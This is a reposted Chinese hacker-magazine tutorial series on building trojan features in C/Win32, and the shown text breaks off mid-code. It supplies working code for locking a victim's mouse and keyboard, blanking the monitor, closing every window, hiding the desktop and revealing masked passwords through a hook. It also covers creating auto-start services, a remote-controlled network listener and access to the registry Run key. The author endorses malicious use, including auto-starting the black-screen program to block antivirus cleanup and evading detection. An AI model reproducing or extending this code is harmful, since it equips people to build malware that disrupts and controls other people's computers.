木马编程DIY【文/冷风】
第1篇之功能实现在木马中除了必需的,屏幕控制,文件管理,SHELL之外还有其它的控制方式,我们用短小精悍的程序来一一DIY一下。
1.锁定鼠标:
这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
printf("\n别害怕15妙后你的鼠标就可以使用了^_^\n");
RECT rect;
rect.bottom=1;
rect.right=1;
ClipCursor(&rect);
::Sleep(15000);
ClipCursor(NULL);//释放
return 0;
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域
2.锁定键盘:
锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了
#include <stdio.h>
#include <windows.h>
//处理按键消息的过程函数
LRESULT CALLBACK keyproc( int code,
WPARAM wParam,
LPARAM lParam )
{
return 1;//返回1可使键盘停止响应
}
main(int argc, char* argv[])
{
SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子
printf("\n\n\n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦\n");
::Sleep(15000);
}
注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处
上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL), GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.
3.关闭显视器
这个也是相当简单的看看代码:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭
::Sleep(10000);
SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开
return 0;
}
要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿
4.关闭所有窗口
原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起
#include <windows.h>
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理
return 0;
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数
{
::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口
return (true);//返回FALSE时EnumWindows结束
}
程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵
5.锁定光驱
其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱
#include <mmsystem.h>//注意加入头文件
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
::mciSendString("set cdaudio door open",NULL,0,NULL);//打开
::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭
return 0;
}
//注意在 工程-设置-LINK中加入库文件名winmm.lib
如果你弄个死循环,就可以让他的光驱好好活动活动了^_^
6.制造噪音
大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在
#include<windows.h>
main()
{
for(int j=450;j<500;j++)
{
for(int i=1000;i<1110;i++)
{
Beep(i,30);
::Sleep(100);
}
}
}
关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。
7.隐藏桌面
其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。
#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
HWND disk,mask;
disk=FindWindow("ProgMan",NULL);
mask=FindWindow("Shell_TrayWnd",NULL);
ShowWindow(mask,SW_HIDE);//隐藏任务栏
ShowWindow(disk,SW_HIDE);//隐藏桌面
printf("\n15妙后会自动出现桌面 请等待.....\n");
Sleep(15000);
ShowWindow(mask,SW_SHOW);//显示
ShowWindow(disk,SW_SHOW);//显示
return 0;
}
有了上面的技术结合以前的文章,你也可以写出功能彪悍的远控程序了,而且不怕查杀,比免杀木马用着舒服多了。
[[i] 本帖最后由 敗類 于 2008-5-23 11:03 编辑 [/i]]
第2篇之单实例运行
在02-03年之间常玩木马的朋友可能还记得当时有款叫广外男生的木马比较流行.用过的朋友友可能也发现了广外男生有个不大不小的BUG就是:如果服务端被运行多次的话,那么客户端就会有多个服务端上线,当然并不是
说肉鸡变多了,而是同一个服务端被多次加载......还有,我写了一个CMD窗口的程序,如果运行一个是没问题的
但运行两个,嘿嘿那家伙可是相当壮观,两个程序像得了疯牛病一样疯狂输出垃圾数据,停都停不了
现在我们就来解决这个问题,如何让程序只能运行一个实例,这里跟据程序是否有窗口,来分别介绍
无窗口程序实现
实现思路
这类程序的典型代表就是木马的服务端了,我们想要达到目得,会有这样的想法:程序运行时先检查有没有另一
个实例在运行,没有的话就运行自己,有的话就退出自己.
编程实现
通常有两种方法可以实现我们分别来介绍
1.使用互斥对像
使用API函数CreateMutex来创建命名互斥对象来实现程序互斥是一个比较通用的方法,我们可以在主函数加入如下代码:
HANDLE hObject = CreateMutex(NULL,FALSE,"LengFeng");
if(GetLastError() == ERROR_ALREADY_EXISTS)//程序已经运行
{
CloseHandle(hObject);
ExitProcess(0);
}
以上的CreateMutext函数创建一个称为"LengFeng"的命名的互斥对象,当程序的第二个实例运例时
调用CreateMutex 返回ERROR_ALREADY_EXISTS,表示名为"LengFeng"的互斥对像以存在,也就是说明程序以运行
其完整代码如下:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HANDLE hObject = CreateMutex(NULL,FALSE,"LengFeng");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
MessageBox(NULL,"程序已经运行!",NULL,NULL);
ExitProcess(0);
}
while(1)
{}
return 0;
}
使用一个循环是禁止程序退出,以便更好的观察效果^_^
2.用编译器创建新节
能不能为程序中加入一个全局变量?让这个全局变量可被程序的多个实例所共享,每当程序实例运行时就对该
全局变量进行修改,通过对该全局变量的访问,就可以知道有多少个实例在运行了.
当然为了系统的安全和稳定性,默认情况下是不允许这样做的,为了阻止这种事情的发生系统使用copy-on-write(写入时拷贝)机制
不过我们就使用创建新节的方法来绕过系统的copy-on-write机制其方法如下
#pragma data_seg("Shared")
int volatile g_lAppInstance =0;
#pragma data_seg()
我们来看一下上面的内容:
第一句 #pragma data_seg("Shared") 创建一个称为Shared 的新节。
第二句 int volatile g_lAppInstance =0 将 g_lAppInstance 放入Shared节中。注意此时只有将g_lAppInstance初始化,编译器才会将其放入Shared节中,否则,将放入Shared以外的节
第三句指示编译器Shared 节结束。
仅仅告诉编译器将某些变量放入它们自己的节中,是不足以实现对这些变量的共享的。还必须告诉链接程序
某个节中的变量是需要加以共享的。若要进行这项操作,可以使用链接程序的命令行上的/SECTION开关:
在冒号的后面,是想要改变其属性的节的名字。在我们的例子中,想要改变Shared节的属性因此应该创建下面的链接程序开关:
#pragma comment(linker,"/section:Shared,RWS")
这一句,我们使编译链接器知道我们的Shared节具有读,写,共享的属性。这是我们实现互斥运行的关键
这样我们就可以在应用程序之间的多个实例之间共享g_lAppInstance 变量了。
下面我们看一下在SDK程序中它的完整实现代码如下:
#include <windows.h>
#pragma data_seg("Shared") //创建新节
int volatile g_lAppInstance =0; //必须有初示化
#pragma data_seg() //结束
#pragma comment(linker,"/section:Shared,RWS")
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
if(++g_lAppInstance>1)
{
MessageBox(NULL,"程序已经运行!",NULL,NULL);
ExitProcess(0);
}
while(1)
{
}
}
回头再看这两种方法,在实现上使用互斥对像比较简单,但功能却不如创建新节的方法强大,不过在无窗口程序中
使用互斥对像还是比较实用的.
基于窗口程序的实现
在有些地方是用EnumWindows来枚举窗口并结合FindWindow来查找窗口,然后发送WM_CLOSE消息,虽然这种方法也可以实现
但实现效果不是太好....而使用上面介绍的互斥对像也是可以的,但它的不足之处是不能将已经启动的实例激活。
这里我们仍然用“创建新节”方法来实现一下
目标是一个基于对话框的程序,其效果如图所示
其实现代码如下
#pragma data_seg("Shared")
HWND hwnd=NULL;
#pragma data_seg()
#pragma comment(linker,"/section:Shared,RWS")
在对话框OnInitDialog()中加入以下代码:
if(hwnd==NULL)
{
hwnd=m_hWnd;//没有其它实例则保存实例句柄
}else
{
::SetForegroundWindow(hwnd);//若有其它实例则激活
ExitProcess(0);//退出本身
}
当然上面的这些代码完全可以无需修改的加入到自己的程序中,用这种方法实现在感觉上是不是比PostMessage(hwnd,WM_CLOSE,0,0)要文明多了?
第3篇星号密码查看工具
星号密码查看工具大家都用过吧,现在我们自己来写个超级简单的。其实密码框是一个Windows的一个子窗口,显示星号是因为密码框设置了EM_SETPASSWORDCHAR属性,只要我们把密码框的EM_SETPASSWORDCHAR属性给去掉那么密码就会以明文显示了,我们可以给程序发送消息去掉EM_SETPASSWORDCHAR属性。通过安装鼠标钩子监视鼠标动作,如果用户单击的是密码框那么就发送一个去除密码属性的消息。本文使用的编程工具为VC6.0,具体实现步骤和代码如下:
1.生成一个基于对话框的程序pass。打开passDlg.cpp,加入下面的全局变量和鼠标钩子函数。
HHOOK g_hHook = NULL;//全局钩子函数句柄
//鼠标钩子函数
LRESULT CALLBACK HookProc( int code, WPARAM wParam,LPARAM lParam )
{
HWND hwnd;
POINT point;
GetCursorPos(&point);//得到鼠标位置
hwnd=::WindowFromPoint(point);//得到包含鼠标的窗口句柄
long nStyle=::GetWindowLong(hwnd,GWL_STYLE);// 得到窗口风格
文/德州科技职业学院 冷风
EVENTMSG *event=(EVENTMSG *)lParam;
if(event->message==WM_LBUTTONDOWN)//是否为鼠标左键
{
if(nStyle & ES_PASSWORD)//是否为密码框
{
::PostMessage(hwnd, EM_SETPASSWORDCHAR,0,0);//去掉密码属性
}
}
return CallNextHookEx(g_hHook,code,wParam,lParam);
}
需要注意的是,程序中::PostMessage(hwnd, EM_SETPASSWORDCHAR,0,0);
只能是PostMessage而不能用SendMessage代替。
2.添加“开始探测”按钮及响应函数OnOK()在函数中安装钩子
void CPassDlg::OnOK()
{
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,GetModuleHandle(NULL),0);
//安装钩子
}
钩子的第三部分使用GetModuleHandle(NULL)意为把自己做为保存钩子的DLL
3.添加“取消退出”按钮及响应函数OnExit() 在函数中卸载钩子
void CPassDlg::OnExit()
{
if(g_hHook)
UnhookWindowsHookEx(g_hHook);//卸载钩子
exit(0);
}
现在就完工了,打开我们的程序,按下“开始探测”再打开需要输入密码的程序试试,是不是以明文显示了?用这个小程序可以搞定系统的密码设置,outlook或防范不严的程序密码,但对有专门防范的程序就不行了比如新版QQ。
第4篇之系统服务
对系统服务的管理几乎是木马必不可少的功能了,比如神气儿,上兴远程控制等要是能我们给自己的木马加上这个功能,看着也不赖取得配置权限
在对服务进行管理设置前,需要以相应的权限打开服务,可通过下面两个API实现
代码:
SC_HANDLE OpenSCManager(
LPCTSTR lpMachineName, // pointer to machine name string
LPCTSTR lpDatabaseName, // pointer to database name string
DWORD dwDesiredAccess // type of access
);
SC_HANDLE OpenService(
SC_HANDLE hSCManager, // handle to service control manager
// database
LPCTSTR lpServiceName, // pointer to name of service to start
DWORD dwDesiredAccess // type of access to service
);
通常我们以完全权限打开,示例代码如下:
代码:
SC_HANDLE scm;
SC_HANDLE service;
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
{
Printf("OpenSCManager Error\n");
}
service=OpenService(scm,ServerName,SERVICE_ALL_ACCESS);
if(!service)
{
Printf("OpenService error!\n");
}
这样就可以通过service句柄对服务进行各种操作了
枚举基本服务信息
想要对服务进行设置就需要知道服务的当前信息,对我们有用的通常是以下几项
服务名称,显示名称,启动状态,启动方式,程序路径等。
这些信息我们可以通过API函数EnumServicesStatus来实现,它的原形如下:
代码:
BOOL EnumServicesStatus(
SC_HANDLE hSCManager, // handle to service control manager database
DWORD dwServiceType, // type of services to enumerate
DWORD dwServiceState, // state of services to enumerate
LPENUM_SERVICE_STATUS lpServices,
// pointer to service status buffer
DWORD cbBufSize, // size of service status buffer
LPDWORD pcbBytesNeeded, // pointer to variable for bytes needed
LPDWORD lpServicesReturned,
// pointer to variable for number returned
LPDWORD lpResumeHandle // pointer to variable for next entry
);
其中 LPENUM_SERVICE_STATUS lpServices是一个结构,它的原形如下:
代码:
typedef struct _ENUM_SERVICE_STATUS { // ess
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;
结构中包含服务名称,显示名称,启动状态。虽然它所返回的信息是及为有限的,但它是一次枚举所有服务信息
在要求不高的情况下,用它还是相当方便的,下面的示例代码可以枚举系统中所有服务的基本信息,代码如下:
代码:
LPENUM_SERVICE_STATUS lpServices = NULL;
DWORD nSize = 0;
DWORD n;
DWORD nResumeHandle = 0;
lpServices = (LPENUM_SERVICE_STATUS) LocalAlloc(LPTR, 64 * 1024); //注意分配足够的空间
EnumServicesStatus(scm,SERVICE_WIN32,
SERVICE_STATE_ALL,
(LPENUM_SERVICE_STATUS)lpServices,
64 * 1024,
&nSize,
&n,
&nResumeHandle);
for ( i = 0; i < n; i++)
{
Printf("服务名称: %s",lpServices[i].lpServiceName);
Printf("显示名称: %s",lpServices[i].lpDisplayName);
if ( lpServices[i].ServiceStatus.dwCurrentState!=SERVICE_STOPPED)
{
Printf("启动状态: 已启动\n");
}
}
枚举详细服务信息
如果想得到更详细的服务信息,我们可以使用另一个API函数QueryServiceConfig
它的原形如下:
代码:
BOOL QueryServiceConfig(
SC_HANDLE hService, // handle of service
LPQUERY_SERVICE_CONFIG lpServiceConfig,
// address of service config. structure
DWORD cbBufSize, // size of service configuration buffer
LPDWORD pcbBytesNeeded // address of variable for bytes needed
);
LPQUERY_SERVICE_CONFIG lpServiceConfig是一个结构,它包含指定服务的详细资料,它的原形如下
typedef struct _QUERY_SERVICE_CONFIG { // qsc
DWORD dwServiceType;
DWORD dwStartType;
DWORD dwErrorControl;
LPTSTR lpBinaryPathName;
LPTSTR lpLoadOrderGroup;
DWORD dwTagId;
LPTSTR lpDependencies;
LPTSTR lpServiceStartName;
LPTSTR lpDisplayName;
} QUERY_SERVICE_CONFIG, LPQUERY_SERVICE_CONFIG;
很清楚了吧,服务类型,启动类型,程序路径,服务名称,显示名称尽在其中。
下面的示例代码可以得到程序路径,启动方式,其代码如下:
代码:
LPQUERY_SERVICE_CONFIG ServicesInfo = NULL;
for ( i = 0; i < n; i++)
{
SC_HANDLE service = NULL;
DWORD nResumeHandle = 0;
service=OpenService(scm,lpServices[i].lpServiceName,SERVICE_ALL_ACCESS);
ServicesInfo = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 64 * 1024); //注意分配足够的空间
QueryServiceConfig(service,ServicesInfo,64 * 1024,&nResumeHandle); //枚举各个服务信息
Printf("程序路径: %s",ServicesInfo->lpBinaryPathName);
if(2==ServicesInfo->dwStartType) //启动方式
{
Printf("自动\n");
}
if(3==ServicesInfo->dwStartType)
{
Printf("手动\n");
}
if(4==ServicesInfo->dwStartType)
{
Printf("禁止\n");
}
}
上面的代码稍加修改就可以用到你的程序中,现在对于服务信息的显示就完成了。
启动/停止服务
启动一个服务可以用StartService函数实现,不过在启动前先用QueryServiceStatus检查一下服务的运行状态,如下代码
代码:
SERVICE_STATUS status;
BOOL isSuccess=QueryServiceStatus(service,&status);
if (!isSuccess)
{
Printf("QueryServiceStatus error!\n");
}
if ( status.dwCurrentState==SERVICE_STOPPED )
{
isSuccess=StartService(service,NULL,NULL);
if (!isSuccess)
{
Printf("启动服务失败!");
}
}
下面是停止服务的实现代码:
代码:
if ( status.dwCurrentState!=SERVICE_STOPPED )
{
isSuccess=ControlService(service,SERVICE_CONTROL_STOP,&status);
if (!isSuccess )
{
Printf("停止服务失败!");
}
}
创建/删除服务
创建服务使用的API为CreateService,它的原形为:
代码:
SC_HANDLE CreateService(
SC_HANDLE hSCManager, // handle to service control manager
// database
LPCTSTR lpServiceName, // pointer to name of service to start
LPCTSTR lpDisplayName, // pointer to display name
DWORD dwDesiredAccess, // type of access to service
DWORD dwServiceType, // type of service
DWORD dwStartType, // when to start service
DWORD dwErrorControl, // severity if service fails to start
LPCTSTR lpBinaryPathName, // pointer to name of binary file
LPCTSTR lpLoadOrderGroup, // pointer to name of load ordering
// group
LPDWORD lpdwTagId, // pointer to variable to get tag identifier
LPCTSTR lpDependencies, // pointer to array of dependency names
LPCTSTR lpServiceStartName,
// pointer to account name of service
LPCTSTR lpPassword // pointer to password for service account
);
其中 DWORD dwStartType是指动方式,有三种方式
代码:
SERVICE_AUTO_START //自动
SERVICE_DEMAND_START //手动
SERVICE_DISABLED //禁用
此函数的参比较多但我们通常只用其中的一部分,如
代码:
SC_HANDLE hSCManager, //用OpenSCManager打开的句柄
LPCTSTR lpServiceName, // 服务名称
LPCTSTR lpDisplayName, // 显示名称
DWORD dwStartType, // 启动方式
LPCTSTR lpBinaryPathName, // 程序路径
其它直接赋0或NULL就可以了
例如下面的代码可以创建一个名为 LengFeng 路径为C:\LengFeng.EXE的自启动服务
代码:
void CreateServer()
{
SC_HANDLE scm=NULL;
SC_HANDLE service=NULL;
if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_CREATE_SERVICE))==NULL)
{
Printf("OpenSCManager Error");
}
service=CreateService(
scm,"LengFeng" ,"LengFeng" ,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
"C:\LengFeng.EXE", 0, 0, 0, 0, 0 );
if(!service)
Printf("服务创建失败");
CloseServiceHandle(service);
CloseServiceHandle(scm);
}
删除服务更容易些,可以用DeleteService来实现
代码:
BOOL DeleteService( SC_HANDLE hService);
SC_HANDLE hService是我们以前用OpenService打开的服务句柄,在删除前注意先用,启动/停止服务中介绍的方法
停止正在运行的服务。
配置启动方式
有时候我们需要对服务的启动方式进行更改,比如TELNET改为自动运行,对以存在的服务进行配置
可以用ChangeServiceConfig来实现,它的原形如下:
代码:
BOOL ChangeServiceConfig(
SC_HANDLE hService // handle to service
DWORD dwServiceType, // type of service
DWORD dwStartType, // when to start service
DWORD dwErrorControl, // severity if service fails to start
LPCTSTR lpBinaryPathName, // pointer to service binary file name
LPCTSTR lpLoadOrderGroup, // pointer to load ordering group name
LPDWORD lpdwTagId, // pointer to variable to get tag identifier
LPCTSTR lpDependencies, // pointer to array of dependency names
LPCTSTR lpServiceStartName,
// pointer to account name of service
LPCTSTR lpPassword, // pointer to password for service account
LPCTSTR lpDisplayName // pointer to display name
);
揉揉眼睛仔细看一下,是不是有点面熟?嘿它的参数跟创建服务的CreateService就是一样的嘛!这样就好办了
我们把需要的地方改掉,不需要的就放个NULL或SERVICE_NO_CHANGE就行了。
为了安全更新配置信息,微软要求在执行ChangeServiceConfig之前需要用LockServiceDatabase来锁定服务数据
偶测试了一下,有时候会锁定失败,但仍然可以实现对服务配置的更改。
下面的示例代码,可以把上面创建的LengFeng服务的启动方式改为 禁止
其代码如下:
代码:
SC_LOCK sclLock;
sclLock = LockServiceDatabase(scm);
if (sclLock == NULL)
{
if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED)
Printf("LockServiceDatabase error\n");
}
if (! ChangeServiceConfig(
service, // handle of service
SERVICE_NO_CHANGE, // service type: no change
SERVICE_DISABLED, // 这里做了更改
SERVICE_NO_CHANGE, // error control: no change
NULL, // binary path: no change
NULL, // load order group: no change
NULL, // tag ID: no change
NULL, // dependencies: no change
NULL, // account name: no change
NULL, // password: no change
NULL)) //displayname
{
Printf("ChangeServiceConfig error!\n");
}
UnlockServiceDatabase(sclLock);
伸个懒腰,与服务相关的操作,我们也搞个六七八九不离十啦,想把它加到自己的木马中时,只要设计一个便于网络传输的结构,然后把代码拷进去就差不多了。在写这个小程序时遇到的相关问题写在了blog.csdn.net/chinafe有兴趣可以跟我讨论。
[[i] 本帖最后由 敗類 于 2008-5-23 10:44 编辑 [/i]]
DIY之文本语音
在黑防的第2期上天涯衰草(是电脑报上黑客营的老大吧呵呵)对“寿鼠”远程控制程序进行了介绍,其中有一个功能就是“跟对方讲英语”感觉很有意思,就试着自己做了一个发现也不是太难,效果如图1所示
程序在VC6.0+WIN2000下编写分为服务端(SDK)和客户端两个文件,在其它机器的运行服务端后,就可以通过客户端让它“说话”了,如果目标
地址为空的话,会在自己的电脑上朗读。
关于文本语音
寿鼠的朗读功能就是通过文本语音实现的,文本语音又称为TTS(Text-to-Speech)它的作用就是把文本转化为语音,如果我们想
开发这种程序,需要使用软提供的软件开发包Microsoft Speech SDK,目前使用最为广泛的版本是5.1,这个包大小在65M左右在
天空,军华都可以下载到,它本身带有十分详细的开发资料,和可执行程序如图2图3所示,参考帮助文档提供的例子我们可以
很方便的做出自己的程序了。
准备工作
在开始前应该把Microsoft Speech SDK安装好,装好后进入安装目录把INCLUDE和LIB目录中的头文件与库文件复制到VC的开发目录里面
我这里是C:\Microsoft Visual Studio\VC98\Include跟LIB目录,当然你也可以在VC中设置路径(我喜欢直接复制过去)现在就可
以编写程序了
服务端编写
服务端运行后就一直在5555端口监听,收到数据就读出来,实现代码如下
#include <sapi.h> //TTS所需要的头文件
#include <windows.h>
#include <winsock.h>
#pragma comment (lib,"ws2_32") //加载库函数
const int buffer_len=2048;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
WSADATA wsadata;
SOCKET server;
SOCKET client;
SOCKADDR_IN serveraddr;
SOCKADDR_IN clientaddr;
int port=5555;
char buffer[buffer_len];
WCHAR wbuffer[buffer_len];
memset(wbuffer,0,sizeof(WCHAR)*buffer_len);
memset( buffer,0, sizeof(char)*buffer_len);
WORD ver=MAKEWORD(2,2); //判断winsock版本
WSAStartup(ver,&wsadata); //初始SOCKET
server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
serveraddr.sin_family=AF_INET;
serveraddr.sin_port=htons(port);
serveraddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
bind(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
listen(server,5);
int len=sizeof(clientaddr);
while(1)//循环接受连接
{
client=accept(server,(sockaddr *)&clientaddr,&len);
while(1)//循环接受数据
{
if(recv(client,buffer,buffer_len,0)!=0)//有数据则播放
{
memset(wbuffer,0,sizeof(WCHAR)*buffer_len);
//必须先转换成宽字符
MultiByteToWideChar( CP_ACP,
MB_PRECOMPOSED, // character-type options
buffer, // address of string to map
buffer_len, // number of bytes in string
wbuffer, // address of wide-character buffer
buffer_len // size of buffer
);
memset( buffer,0, sizeof(char)*buffer_len);
ISpVoice * pVoice = NULL;
if (FAILED(CoInitialize(NULL)))//处始化COM接口
{
MessageBox(NULL,"ERROR","Error to intiliaze COM",0);
}
//获取ISpVoice接口
HRESULT hr = CoCreateInstance(CLSID_SpVoice, NULL,CLSCTX_ALL, IID_ISpVoice, (void **)&pVoice);
if( SUCCEEDED( hr ) )
{
hr = pVoice->Speak(wbuffer, 0, NULL); //开始朗读
pVoice->Release();//完成后释放声音对象
pVoice = NULL;
}
CoUninitialize();//释放
}
else
break;//接受数据为0退出
}
}
closesocket(server);
closesocket(client);
WSACleanup();
return 0;
}
实现代码挺简单的,需要注意的是在
pVoice->Speak(const WCHAR *pwcs,DWORD dwFlags,ULONG *pulStreamNumber);中pwcs是WCHAR类型的也就是Unicode编码
所以从网络收到数据后要进行Unicode转换,编码转换可以用MultiByteToWideChar API来实现,这是一个很好用的API看看上文
的代码就会用了。
客户端实现
客户端实现同样很简单,所以我就不再浪费感情了呵呵
void CMyDlg::OnOK()
...{
UpdateData();
if(m_addr.IsEmpty())//地址为空则本地播放
...{
//实现代码与服务端相差无几
}
else//把数据发送至目标
...{
WSADATA wsadata;
SOCKET client;
SOCKADDR_IN serveraddr;
int port=5555;
WORD ver=MAKEWORD(2,2); //判断winsock版本
WSAStartup(ver,&wsadata); //初始SOCKET
client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
serveraddr.sin_family=AF_INET;
serveraddr.sin_port=htons(port);
serveraddr.sin_addr.S_un.S_addr=inet_addr(m_addr.LockBuffer());//m_addr为接受地址的文本控件
connect(client,(SOCKADDR*)&serveraddr,sizeof(serveraddr));
send(client,m_text.LockBuffer(),m_text.GetLength(),0);//m_text为接受内容的文本控件
closesocket(client);
WSACleanup();
}
}
需要的话,还可以扩充一下,让它读中文日文什么的,不过你还得专门去下载发声补丁......而且也可以指定男音或女音
朗读不过我感觉女音比较好听嘿嘿,本文实现的功能比较简单,如果想编写功能强大的程序还是请参考Microsoft Speech SDK
的帮助文档,
第6篇之注册表管理
前几期分别讨论了,系统服务,文件传输,网络文本语音和其它方面的内容,现在我们来讨论在木马中注册表的实现,就我自己感觉在木马中对注册表的使用并不多,写其它程序时反倒用的不少.不过注册表还是比较重要的学会它不会吃亏呵呵,我们自己实现的效果如图所示一些基础
开始前先了解一些基础知识,对后面的工作会方便不少,其码不会出现散晕的现像,对注册表的历史也就不再说了有兴趣可以
查查新华字典呵呵.注册表的组织方式跟文件目录比较相似,主要分为 跟键,子键,键值项 三部分跟文件目录对应的话就是
跟目录,子目录,和文件.分别介绍一下,跟键为分5个分别为HKEY_CLASSES_ROOT,HKEY_CURRENT_USER,HKEY_LOCAL_MACHINE
HKEY_USERS,HKEY_CURRENT_CONFIG把它们理解成磁盘的五个分区可以了,子键可以有多个子键和键值项,就像一个目录中可
以有多个子目录和多个文件一样,而键值项可以理解为文件它由三部分组成,分别为 名称,类型,数据. 类型又分为多种主要
包括如下:
REG_BINARY 二进制数据
REG_DWORD 32位双字节数据
REG_SZ 以0结尾的字符串
REG_DWORD_BIG_ENDIAN 高位排在底位的双字
REG_EXPAND_SZ 扩展字符串,可以加入变量如%PATH%
REG_LINK UNICODE 符号链接
REG_RESOURCE_LIST 设备驱动程序资源列表
REG_MULTI_SZ 多字符串
注册表数据项的数据类型有8种但最常用的主要是前3种而以,有了这些基础下面我们讨论如何编程实现对注册表的操作
打开/关闭注册表句柄
在对注册表操作前应该先打开指定的键,然后通过键的句柄进行操作,打开键句柄可以用API RegOpenKeyEx来实现其原形如下
RegOpenKeyEx(
hKey, //父键句柄
lpSubKey, //子键句柄
dwOptions, //系统保留,指定为0
samDesired, //打开权限
phkResult, //返回打开句柄
)
其中打开权限有多种 想方便的话可以指定为KEY_ALL_ACCESS 这样什么权限都有了,当函数执行成功时返回ERROR_SUCCESS
其实例代码如下:
HKEY key;
LPCTSTR data="SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,data,0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS)
...{
/**//*需要执行的操作...*/
}
::RegCloseKey(key);
要注意的是在使用后应该调用RegCloseKey();函数为关闭句柄.
木马编程DIY之注册表管理 文/图 冷风
获取子键/键值信息
在现实的编程操作中我们常常需要获取 子键/键值的信息比如:子键/键值的数量,长度,以及数据的最大长度等等这些信息可以
通过RegQueryInfoKey函数来获取
它的原型如下:
RegQueryInfoKey(
hkey, //要获取信息的句柄
lpClass, //接受创建健时的Class字符串
lpcbClass, //lpClass的长度
lpReserved, //系统保留,指定为0
lpcSubKeys, //子键数量
lpcbMaxSubKeyLen, //子键中最长名称的长度
lpcbMaxClassLen, //子键中最长Class字符串长度
lpcVlaues, //键值数量
lpcbMaxValueNameLen, //键值项中最长名称的长度
lpcbMaxValueLen, //键值项数据最大长度
lpcbSecurityDescriptor, //安全描述符长度
lpftLastWriteTime, //FILETIME结构,最后修改时间
)
哈哈是不是挺吓人的?其实看实际情况接受自己需要的就好了,不需要的可以放个NULL就OK了,还有一点需要注意就是它所返回
的长度都不包括结尾的0字符,所以在使用时应该用长度+1
其实例代码如下
DWORD dwIndex=0,NameSize,NameCnt,NameMaxLen,Type;
DWORD KeySize,KeyCnt,KeyMaxLen,DateSize,MaxDateLen;
if(RegQueryInfoKey(key,NULL,NULL,NULL,&KeyCnt,&KeyMaxLen,NULL,&NameCnt,&NameMaxLen,&MaxDateLen,NULL,NULL)!=ERROR_SUCCESS)
...{
printf("RegQueryInfoKey错误");
return;
}
用的时候套用格式就成了,不然会很麻烦的.....有了这些信息我们就可以枚举子键和键值的信息了
枚举子键信息
枚举子键可以用API函数 RegEnumKeyEx来实现 调用RegEnumKeyEx时将返回子键的名称,长度和一些相关数据,如果想得到一个
键下的全部子键的话应该循环调用,直到返回ERROR_NO_MORE_ITEMS为至,就说明以枚举完了所有数据其函数原型如下
RegEnumKeyEx(
hkey, //被枚举的键句柄
dwIndex, //子键索引编号
lpName, //子键名称
lpcbName, //子键名称长度
lpReserved, //系统保留,指定为0
lpClass, //子键类名
lpcbClass, //子键类名长度
lpftLastWriteTime//最后写入时间
)
因为在之前我们以通过RegQueryInfoKey函数获取了键的有关数据,所以在这里不再跟据ERROR_NO_MORE_ITEMS来实现了
其实现代码如下:
for(dwIndex=0;dwIndex<KeyCnt;dwIndex++) //枚举子键
...{
